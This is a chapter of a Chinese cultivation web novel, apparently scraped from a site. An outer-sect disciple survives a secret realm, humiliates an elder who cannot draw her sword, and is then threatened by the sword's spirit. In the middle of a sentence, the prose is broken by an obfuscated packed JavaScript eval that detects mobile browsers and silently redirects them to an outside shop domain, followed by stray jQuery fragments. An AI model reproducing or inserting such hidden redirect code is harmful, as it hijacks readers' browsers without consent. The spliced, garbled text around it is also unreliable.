秘境出口是一道裂在半空中的光门。

    舒漾踏出光门的那一秒,脚踩到实地的触感让她膝盖发软,门外的风卷着沙土扑在脸上,混着一股散不去的血腥气和药草苦涩的味道。

    守门的灰袍执事抬起头,笔尖在名单上顿住,墨水洇开一个小黑点,上面密密麻麻写满了名字,大部分已经被划掉了。

    “舒漾?”

    “嗯。”

    “你还活着?”

    舒漾低头看了看自己胸口那个已经不流血的洞,又抬头看了看执事的表情,耸了耸肩。

    “看起来是的。”她道,“虽然过程有点抽象。”

    执事的表情很复杂,他张了张嘴,似乎想问什么,但最终只是在名单上找到了舒漾的名字,在旁边打了个勾。

    舒漾瞥了一眼那张名单——外门去了十二个人,打完这个勾,活着的那一列,也只有三个名字。

    存活率25%,舒漾在心里算了一下,比我们上辈子那个项目的成功率还低。

    “走吧,宗门已经来了。”执事公事公办地说完。

    舒漾环顾一圈,广场上人很多。各大宗门的长老、弟子、杂役,乌泱泱一片,都在等自家的人出来。

    有人哭,有人笑,有人抱着受伤的弟子大喊“止血丹呢”,有人对着空荡荡的出口发呆。

    舒漾心道:看来我心里素质还行。

    她的出现没有引起任何人的注意。

    一个外门弟子,就算胸口有个洞也分不到别人的一个眼神。

    不过舒漾也并不在意,伤口疼站着费劲,只想快点找个地方坐下来。

    她扫过人群,没看到余叶。

    太虚宗的带队长老是个中年男人,姓周,筑基巅峰,在宗门里排不上号,但在外门弟子面前架子端得很足。

    他正指挥几个弟子清点人数,余光瞥到舒漾,先是没认出来,看了两秒,眉头皱起来。

    “怎么是你?”

    舒漾歪了歪头:“是我又怎样。”

    周长老脸色一沉:“你说什么?”

    “没什么。”舒漾靠着旁边的石头坐下来,有些吃力,“余叶呢?”

    “内门弟子走另一个出口,你一个外门废物,问那么多干什么?”周长老上下打量她一眼,“你居然没死?

    舒漾扫了他一眼:“哦,让你失望了。”

    她低头看了看自己的伤口,虽然还是很疼,但是已经奇迹般的好了大半,不知道是不是桃花印起了作用。

    舒漾把剑横在膝盖上,准备闭目养神,甚至想好好睡一觉。

    那把黑色长剑安安静静地搭在她腿上,剑鞘是她在秘境里随手找的一块破兽皮裹的,丑得很有辨识度。周长老盯着看了两秒,突然瞪大了眼睛。

    舒漾注意到了。

    但她没问,上辈子的经验告诉她,当你发现对方知道一些你不知道的事情时,最好的策略不是追问,是让他以为你什么都知道。

    周长老的脸由红变紫,嘴唇张张合合,一甩袖走了。

    舒漾看着他的背影,一个筑基巅峰的长老,被一个外门废物气走了,这事说出去够她笑一年。

    她摸了摸下巴,在心里给这个细节打了个标签:周长老认识这把剑,优先级P1,待查。

    接着又在脑子里过了一遍在秘境里的项目进度:成功活着出来了,桃花印暂时查不到什么,报仇进度也涨了一点,就差……

    舒漾想起祭坛里的声音,不情愿地把它列为第四个目标。

    ——

    舒漾等了大约一刻钟,余叶才从另一个出口走出来。

    他换了衣服,不是秘境里那件沾了血的蓝袍,而是一件崭新的、裁剪合体的深蓝色长衫,他站在那里,夕阳把他的影子拉得很长,整个人看起来像一幅画。

    如果不是知道他长着一副什么黑心肠,舒漾可能会觉得这画面挺好看的。

    余叶看见她的那一刻,瞳孔缩了一下,零点几秒的震惊和不可置信,还有些许扭曲,但很快被他压了下去。

    “师妹,”他走过来,声音不高不低,刚好够周围人听见,“你能活着出来,我就放心了。”

    舒漾挑眉看着他,这话说得滴水不漏,在别人听来是关心,但她知道这是在试探。

    “托师兄的福,”她笑着道,“死不了。”

    余叶的目光扫过她腰间的剑,又很快移开。

    “恭喜你。”他道,声音比刚才低了几分,只有舒漾能听到,“剑的事,我们改天慢慢聊。”

    舒漾下巴微微抬起,没接话。

    余叶转身走了,背影挺拔,步伐从容,但舒漾注意到他的右手攥成了拳头,指甲陷进掌心里。

    她在心里记了一笔:嚯,这人怕不是要狗急跳墙。

    舒漾起身的时候,余光扫到围观人群的边缘,一个穿白衣的青年看着这一幕,嘴角微微翘起。

    对上舒漾的目光,不躲不闪,甚至还主动地朝她招了招手。

    舒漾没什么反应,只是在心里给这个人打了个标签:白衣,笑面虎,离远点。

    ——

    舒漾跟着太虚宗的队伍回到宗门。

    太虚宗建在青鸾山半山腰,山门不高,灵气不浓,在修仙界勉强算二流。舒漾从原主记忆里翻出这些信息的时候,觉得这个宗门和她上辈子待过的那家公司挺像的——庙小妖风大,池浅王八多。

    周长老没有直接放她回住处,他把所有从秘境回来的弟子叫到大殿,说要“清点收获”。

    舒漾站在大殿角落里,靠着柱子,怀里抱着剑。

    大殿上已经站了二十几个人,内门弟子站前排,外门弟子站后排,余叶站在内门弟子最前面,旁边是他的几个跟班。

    周长老坐在主位上,清了清嗓子:“秘境所得,一律上交宗门,这是规矩。”

    一个接一个弟子上前,交出灵药、矿石、法器碎片,周长老一一过目,点头或摇头,记在册子上。

    轮到舒漾的时候,她没动。

    周长老皱眉:“舒漾,你的收获呢?”

    舒漾抬起头:“我只有这把剑。”

    大殿里安静了一瞬,所有人的目光都落在她怀里的剑上,余叶的脸色不太好,他旁边的跟班小声问:“师兄,那把剑——”

    “闭嘴。”余叶低声呵斥。

    周长老看着那把剑,眼神沉了下来,上午他就发现了,剑身上的纹路,剑柄上的丝线,整把剑散发出的气息,那是上古神兵才有的东西。

    “交上来。”他道。

    舒漾眼皮都没抬一下。

    “我说,交上来。”

    舒漾还是没动,她看着周长老,声音不大:“这把剑认主了。”

    周长老的脸色沉下来:“认主了也得交,你一个外门废物,配不上这把剑。”

    舒漾低头看了看手里的剑,又抬头看了看周长老。

    她在心里飞速过了半秒:这把剑的纹路太特殊,刚才在广场上周长老已经看见了,余叶也看见了,藏不住的。与其被当成“怀璧其罪”的猎物被动挨抢,不如主动立威,让那些人都闭嘴。

    “那打个赌。”她眼中闪过一丝笑意,“拔出来了送你,但要是拔不出来,你欠我一件天灵地宝。””

    大殿里彻底安静了。

    余叶的跟班张大了嘴,旁边几个内门弟子面面相觑,她让长老拔剑,还敢跟他打赌,她疯了吗?

    周长老的脸色从红变紫,从紫变黑。

    “不知天高地厚!”他一甩袖站起来,走到舒漾面前,劈手夺过剑柄。

    他运足灵力,脸涨得通红——剑纹丝不动。

    周长老愣了一下,他不信邪,一个外门废物的剑,他一个筑基巅峰会拔不出来?

    他又试了一次,这次连灵力都用上了,青筋暴起,剑还是纹丝不动。

    大殿里开始有人交头接耳。

    “周长老都拔不出来?”

    “那把剑到底是什么来头……”

    “不会是那个废物动了什么手脚吧?”

    “她能动什么手脚?她连引气入体都没做到。”

    “那还是周长老实力不行吧,毕竟再巅峰,还是没到金丹。”

    窃窃私语声像蚂蚁一样在大殿里爬,周长老的脸涨成了猪肝色。

    但他却不肯松手,盯着舒漾眼神像是要把她吃了,他再一次用力,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494319|202396||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    离得近的都能听到他牙关咯吱作响的声音。

    舒漾看不下去了,挥挥手上前:“您老人家就别费这功夫了。”

    她伸手握住剑柄,甚至没有用力,只是轻轻一抽——剑从周长老手里滑了出来,像一条鱼从指缝间溜走。

    周长老愣住了,他刚才攥得手都在抖,但舒漾抽走的时候,他什么都没感觉到。

    “这把剑认的是人,”舒漾把剑插回腰间,“不是力气。”

    她看向殿上的所有人:“想试试的都来,走过路过不要错过。”

    几个内门弟子轮流上来试,一个接一个,脸涨得通红,剑纹丝不动。

    舒漾站在旁边,看着他们一个个涨红了脸,似笑非笑。

    直到最后一个人试完,灰溜溜地退回去。

    舒漾才好整以暇地敲了敲剑柄,慢悠悠地踱步到余叶面前,打量着对方好似要滴出墨水的脸色。

    “师兄,大家都来试了,你不来吗?”

    余叶的嘴角抽了抽:“不了。”

    舒漾看起来很是疑惑:“那你也可以来试试呀,要不是我可拿不到这把剑呢。”

    她踮起脚凑进余叶,将对方阴冷的表情尽收眼底:“师兄不恭喜我吗?”

    “呵。”余叶发出一声气音,咬着字开口,“恭喜师妹,不过——拿到了也要守的住才行啊。”

    舒漾嗤笑一声,慢慢退回去,伸手握住剑柄,轻轻一提,剑出鞘了。

    没有金石之声,没有灵光乍现,就是“唰”的一下,干净得像切豆腐。

    剑身漆黑,不反光,但剑身上的纹路在灯光下隐隐发亮,像是有血液在里面流动,剑尖指向地面,没有杀气,没有威压,但所有人都感觉到了阴森的气息,如毒舌缠上了每个的四肢。

    舒漾把剑插回腰间,视线透过周长老落到余叶身上,笑吟吟的。

    “还要交吗?”

    周长老脸色铁青,嘴唇哆嗦了几下,一个字也没说出来。

    舒漾转身走了两步,又停下来,回头看了他一眼。

    “天灵地宝我明天来领。”

    舒漾离开了。

    “今日算让你出风头了。”悠悠的声音响起。

    “终于肯开口说话了?我还以为你准备要闷一辈子。”舒漾叹了一口气,拍了拍剑身,“啊,本来还挺紧张,还好你很配合,不然我就玩完了。”

    她忍不住笑了一下:“你看他们的反应简直是爽爆了。”

    身后,余叶盯着她的背影,嘴角还挂着刚刚客套的笑,眼底却已经烧起来了。

    明明是个废物,明明只是个祭品,明明应该已经死了。

    但她不仅在秘境里活了下来,还拿到了本该属于他的剑。

    明明大殿上所有内门弟子甚至是长老都拔不出来,而她却轻轻一提就拔出来了。

    明明父亲说了除了我没人可以做到。

    余叶想起他在秘境里转了三天三夜,而舒漾永远出现在罗盘边缘,永远差那么一点点,让他整整两天不敢闭眼。

    他想起她今天看他的眼神,戏谑嚣张,像在看路边的垃圾。

    余叶将拳头捏得咯吱作响,视线犹如实质一般凝在舒漾走过的地方。

    但他不知道的是,舒漾此刻正躺在柴房的床上,闭着眼,嘴角微微翘着。

    之前在秘境里摸爬滚打,今天总算扳回一局,看来往好处想穿越也不一定是个坏事。

    还没等她继续回味,就又听到了剑灵的声音,从秘境出来到现在,它越来越活跃了:“你在找死。”

    舒漾睁开眼。

    “哈?”她不明所以。

    剑灵的声音在她脑海响起:“就是那个找你麻烦的小子,你不怕他干出什么来?”

    舒漾翻了个身,把被子拉到下巴。

    “怕?你看我理他不。”

    ——

    舒漾睡着了。

    那把黑色长剑靠在床边,剑身的纹路微微发亮。

    “你不该拔剑的,”它的声音很低,“你不该回来的。”

    剑灵“看着”她,直到月亮高悬于枝头,它才接着说下去。

    “抱歉,我不能让你活下来。”